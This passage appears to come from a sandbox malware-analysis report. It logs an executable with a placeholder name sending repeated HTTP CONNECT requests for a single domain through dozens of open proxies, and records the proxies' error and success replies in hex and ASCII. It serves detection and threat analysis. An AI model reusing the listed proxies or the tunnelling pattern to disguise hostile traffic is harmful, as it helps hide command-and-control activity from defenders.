69 61 6c 73 20 72 65 71 75 69 72 65 64 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>407 Proxy Authentication Required</title></head><body><h1>Proxy Authentication Required</h1><p>This server could not verify that youare authorized to access the documentrequested. Either you supplied the wrongcredentials (e.g., bad password), or yourbrowser doesn't understand how to supplythe credentials required.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1454	192.168.2.9	49865	83.229.61.198	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.976896048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.090837002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.200650930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.200445890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1455	192.168.2.9	54832	23.94.214.8	9054	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.977545977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.685041904 CET	37	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1456	192.168.2.9	54695	103.120.6.46	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.977652073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.366255045 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1457	192.168.2.9	54701	47.243.205.1	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.978317976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1458	192.168.2.9	54723	211.222.252.187	8197	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.986207008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1459	192.168.2.9	54707	58.234.116.197	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.986228943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1460	192.168.2.9	54712	121.66.198.76	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.987119913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1461	192.168.2.9	54119	134.209.105.209	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.004192114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1462	192.168.2.9	54779	220.77.191.154	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.007713079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.700297117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.591706038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.391041994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.079287052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1463	192.168.2.9	54333	117.160.250.163	82	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.012383938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.752700090 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 14:21:09 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1464	192.168.2.9	54732	52.80.55.78	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.014976025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.841013908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.210828066 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:10 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1465	192.168.2.9	54706	213.57.128.161	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.014977932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.841049910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.138076067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.441097021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.934813976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.434813976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:26.934607983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:35.825025082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:53.637497902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1466	192.168.2.9	54781	47.56.110.204	8989	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.017301083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1467	192.168.2.9	54066	45.185.236.254	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.024991035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1468	192.168.2.9	54110	208.109.14.49	37377	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.025789976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1469	192.168.2.9	54742	185.204.197.25	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.027038097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.419326067 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1470	192.168.2.9	54831	190.239.23.33	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.027750015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1471	192.168.2.9	54031	91.148.127.162	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.027894020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1472	192.168.2.9	50026	103.197.71.7	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.028141975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1473	192.168.2.9	54783	14.103.24.20	8000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.028141975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1474	192.168.2.9	54782	103.127.52.132	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.028405905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1475	192.168.2.9	54792	62.33.53.248	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.028453112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.202974081 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/3.5.27 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:12 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3896 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2017 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {marg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1476	192.168.2.9	54796	65.21.255.197	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.028695107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.354124069 CET	75	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Length: 0
Mar 11, 2024 15:21:09.806546926 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1477	192.168.2.9	54827	185.22.8.70	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
